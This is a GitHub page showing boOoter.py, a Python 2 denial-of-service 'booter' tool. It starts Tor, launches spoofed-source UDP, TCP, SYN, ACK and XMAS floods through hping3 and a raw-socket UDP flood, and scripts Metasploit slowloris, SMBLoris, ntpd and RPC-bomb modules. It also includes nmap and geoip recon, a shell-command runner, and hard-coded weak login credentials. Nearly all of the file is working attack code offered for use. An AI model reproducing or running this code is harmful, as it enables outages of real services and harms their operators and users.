-
Notifications
You must be signed in to change notification settings - Fork 8
/
boOoter.py
355 lines (329 loc) · 11.9 KB
/
boOoter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
# coding: latin-1
#if you use this code give me credit @tuf_unkn0wn
#i do not give you permission to edit this script without my credit
#to ask questions or report a problem message me on instagram @tuf_unkn0wn
import sys
import getpass
#--------ADD OR EDIT USERS AND PASSWORDS-----------#
credential = {"root" : "password", "user1" : "1234"}
#--------ADD OR EDIT USERS AND PASSWORDS-----------#
success = False
for i in range(3):
username = raw_input("Username: ")
password = getpass.getpass("Password: ")
if (credential.get(username) == password):
success = True
break
else:
print "\033[091mError:\033[0m Login Failed"
sys.exit()
if not success:
print "\n\033[091mError:\033[0m Login Failed"
sys.exit()
from time import sleep
from threading import Thread, active_count
from scapy.all import *
from os import *
import random
import string
import signal
import ssl
import argparse
import os
import socket
import socks
import requests
import time
import random
import readline
#---------------------#
r = '\033[31m'
W = '\033[90m'
R = '\033[91m'
N = '\033[0m'
G = '\033[92m'
B = '\033[94m'
Y = '\033[93m'
LB = '\033[1;36m'
P = '\033[95m'
Bl = '\033[30m'
O = '\033[33m'
p = '\033[35m'
BD = '\033[1m'
#-------------------#
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Gb = random._urandom(20000)
bytes = random._urandom(20000)
Kb = random._urandom(20000)
os.system("clear")
out = os.popen('curl "http://myexternalip.com/raw"').read()
print "Starting BoOoter... [ \033[1m\033[90mWaiting... \033[0m]"
print '\033]2;BoOoter | {0} | {1} | @tuf_unkn0wn\a'.format(username, out)
os.system("service tor start")
os.system("service postgresql start")
print "Starting BoOoter... [ \033[1m\033[32mREADY \033[0m]"
os.system("sleep 1")
os.system("clear")
def mainbanner():
print """\033[33m
▄▀▀▀▀▄ ▄▀▀▄ ▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▀█▀▀▄ \033[90m
█ █ █ ▄▀ █ █ █ █ ▐ █ █ ▐ \033[33m
█ ▀▄▄ ▐ █▄▄▄█ █ █ ▀▄ ▐ █ \033[90m
█ █ █ █ █ ▀▄ ▄▀ ▀▄ █ █ \033[33m
▐▀▄▄▄▄▀ ▐ ▄▀ ▄▀ ▀▀▀▀ █▀▀▀ ▄▀ \033[90m
▐ █ █ ▐ █ \033[33m
▐ ▐ ▐ \033[90m
\033[0m\n\n\n""".decode('utf-8')
def help():
print """\033[33m
════════════════════════════════════════════════════
\033[0m\033[1mBoOoter Commands\033[33m
════════════════════════════════════════════════════\033[0m
!attack : Show attacks
\033[33m!recon : Show recons
\033[0m!methods : Show Methods
\033[33m!ip : Show IP
\033[0m!uname : Uname info
\033[33m!exec : Execute command
\033[0mclear : Clear screen
\033[33mexit : Exit
════════════════════════════════════════════════════
\033[0m""".decode('utf-8')
def floodhelp():
print """\033[33m
════════════════════════════════════════════════════
\033[0m\033[1mAttacks\033[33m
════════════════════════════════════════════════════\033[0m
udp : UDP flood
\033[33mfastudp : Faster UDP flood
\033[0mtcp : TCP flood
\033[33msyn : SYN flood
\033[0mack : ACK flood
\033[33mxmas : XMAS flood
\033[0mslowl : Slow Loris Attack
\033[33mnbss : SMBLoris NBSS flood
\033[0mntpd : NTPD flood
\033[33mrpc : RPC flood
════════════════════════════════════════════════════
\033[0m""".decode('utf-8')
def reconhelp():
print """\033[33m
════════════════════════════════════════════════════
\033[0m\033[1mRecons\033[33m
════════════════════════════════════════════════════\033[0m
ipgrab : Host to IP
\033[33mping : Ping a host
\033[0mcheck : Check if a host is online
\033[33mport : Portscan
\033[0mgeoip : IP location
\033[33m
════════════════════════════════════════════════════
\033[0m""".decode('utf-8')
def methods():
print """\033[33m
════════════════════════════════════════════════════
\033[0m\033[1mMethods\033[33m
════════════════════════════════════════════════════\033[0m
UDP : udp [target] [port]
\033[33mFASTUDP : fastudp [target] [port]
\033[0mTCP : tcp [target] [port]
\033[33mSYN : syn [target] [port]
\033[0mACK : ack [target] [port]
\033[33mXMAS : xmas [target] [port]
\033[0mSLOWL : slowl [delay] [target] [port] [sockets]
\033[33mNBSS : nbss [target] [port]
\033[0mNTPD : ntpd [spoofed addresss] [target] [bytes] [threads] [timeout]
\033[33mRPC : rpc [bytes] [batchsize] [target] [port] [threads]
\033[0m[\033[33m+\033[0m]----------------Recon Methods-----------------[\033[33m+\033[0m]
\033[0mIPGRAB : ipgrab [target]
\033[33mPING : ping [target]
\033[0mCHECK : check [target]
\033[33mPORT : port [target]
\033[0mGEOIP : geoip [target]\033[33m
════════════════════════════════════════════════════
\033[0m""".decode('utf-8')
def fastudp():
command, target, port = raw_input("Method: ").split()
if command == "fastudp":
ip = socket.gethostbyname(target)
port = int(port)
os.system("service tor restart")
print N+"UDP attack sent | {5} | {0}.{1} | {2}-{3}-{4}".format(hour, minute, day, month, year,ip)
os.system("sleep 2s")
sent = 0
while True:
sock.sendto(Gb, (ip,port))
sock.sendto(bytes, (ip,port))
sock.sendto(Kb, (ip,port))
sent = sent + 1
port = port + 1
if port == 65534:
port = 1
def udp():
command, target, port = raw_input("Method: ").split()
if command == "udp":
os.system("hping3 {0} -p {1} --flood -d 50000 --udp --rand-source".format(target, port))
def slowl():
command, de, tar, port, soc = raw_input("Method: ").split()
if command == "slowl":
os.system('echo "use auxiliary/dos/http/slowloris\n" > slowl.rc')
os.system('echo "set delay {0}\n" >> slowl.rc'.format(de))
os.system('echo "set RHOST {0}\n" >> slowl.rc'.format(tar))
os.system('echo "set RPORT {0}\n" >> slowl.rc'.format(port))
os.system('echo "set sockets {0}\n" >> slowl.rc'.format(soc))
os.system('echo "run\n" >> slowl.rc')
os.system('msfconsole -q -r slowl.rc')
os.system('rm -rf slowl.rc')
def nbss():
command, tar, port = raw_input("Method: ").split()
if command == "nbss":
os.system('echo "use auxiliary/dos/smb/smb_loris\n" > nbss.rc')
os.system('echo "set rhost {0}\n" >> nbss.rc'.format(tar))
os.system('echo "set rport {0}\n" >> nbss.rc'.format(port))
os.system('echo "run\n" >> nbss.rc')
os.system('msfconsole -q -r nbss.rc')
os.system('rm -rf nbss.rc')
def port():
command, target = raw_input("Method: ").split()
if command == "port":
os.system("nmap {0}".format(target))
def ping():
command, target = raw_input("Method: ").split()
if command == "ping":
os.system("ping {0}".format(target))
def ipgrab():
command, target = raw_input("Method: ").split()
if command == "ipgrab":
ip = socket.gethostbyname(target)
print ip
def tcp():
command, target, port = raw_input("Method: ").split()
if command == "tcp":
os.system("hping3 --flood -d 50000 --rand-source -p {0} {1}".format(port,target))
def syn():
command, target, port = raw_input("Method: ").split()
if command == "syn":
os.system("hping3 -S --flood -d 50000 --rand-source -p {0} {1}".format(port,target))
def ack():
command, target, port = raw_input("Method: ").split()
if command == "ack":
os.system("hping3 -A --flood -d 50000 --rand-source -p {0} {1}".format(port,target))
def xmas():
command, target, port = raw_input("Method: ").split()
if command == "xmas":
os.system("hping3 -X --flood -d 50000 --rand-source -p {0} {1}".format(port,target))
def check():
command, target = raw_input("Method: ").split()
if command == "check":
request = requests.get(target)
http = request.status_code
if http == 200:
print("Server: [\033[32monline\033[0m]")
else:
print("Server: [\033[31moffline\033[0m]")
def geoip():
command, target = raw_input("Method: ").split()
if command == "geoip":
os.system("curl https://api.hackertarget.com/geoip/?q={0}".format(target))
print "\n"
def myip():
os.system('curl "http://myexternalip.com/raw"')
print "\n"
def ntpd():
command, de, tar, bytes, thr, time = raw_input("Method: ").split()
if command == "ntpd":
os.system('echo "use auxiliary/dos/ntp/ntpd_reserved_dos\n" > ntpd.rc')
os.system('echo "set LHOST {0}\n" >> ntpd.rc'.format(de))
os.system('echo "set RHOSTS {0}\n" >> ntpd.rc'.format(tar))
os.system('echo "set SNAPLEN {0}\n" >> ntpd.rc'.format(bytes))
os.system('echo "set threads {0}\n" >> ntpd.rc'.format(thr))
os.system('echo "set timeout {0}\n" >> ntpd.rc'.format(time))
os.system('echo "run\n" >> ntpd.rc')
os.system('msfconsole -q -r ntpd.rc')
os.system('rm -rf ntpd.rc')
def rpc():
command, bytes, batch, tar, port, thr = raw_input("Method: ").split()
if command == "rpc":
os.system('echo "use auxiliary/dos/rpc/rpcbomb\n" > rpc.rc')
os.system('echo "set ALLOCSIZE {0}\n" >> rpc.rc'.format(bytes))
os.system('echo "set BATCHSIZE {0}\n" >> rpc.rc'.format(batch))
os.system('echo "set RHOSTS {0}\n" >> rpc.rc'.format(tar))
os.system('echo "set RPORT {0}\n" >> rpc.rc'.format(port))
os.system('echo "set THREADS {0}\n" >> rpc.rc'.format(thr))
os.system('echo "run\n" >> rpc.rc')
os.system('msfconsole -q -r rpc.rc')
os.system('rm -rf rpc.rc')
def run():
command = raw_input(">: ")
os.system(command)
def main():
found = False
while not found:
x = raw_input("\033[33m{0}\033[92m@\033[33mboOoter\033[0m: \033[0m".format(username))
if x == "!help" :
help()
if x == "!attack":
floodhelp()
if x == "!recon":
reconhelp()
if x == "!methods":
methods()
if x == "exit":
print "Stopping BoOoter... [ \033[1m\033[90mWaiting... \033[0m]"
os.system("service tor stop")
os.system("service postgresql stop")
print "Stopping BoOoter... [ \033[1m\033[31mOFF \033[0m]"
os.system("sleep 1")
os.system("clear")
sys.exit()
if x == "clear":
os.system("clear")
mainbanner()
if x == "udp":
udp()
if x == "nbss":
nbss()
if x == "slowl":
slowl()
if x == "port":
port()
if x == "ping":
ping()
if x == "ipgrab":
ipgrab()
if x == "tcp":
tcp()
if x == "syn":
syn()
if x == "check":
check()
if x == "geoip":
geoip()
if x == "!ip":
myip()
if x == "!uname":
os.system("uname --all")
if x == "ntpd":
ntpd()
if x == "rpc":
rpc()
if x == "ack":
ack()
if x == "xmas":
xmas()
if x == "!exec":
run()
if x == "fastudp":
fastudp()
found = True
print Y+"started at {0}.{1} | {2}-{3}-{4}".format(hour, minute, day, month, year)
mainbanner()
print " \033[33mWelcome \033[0m{0}\033[33m to boOoter \033[0mV 2.0\n\n".format(username)
main()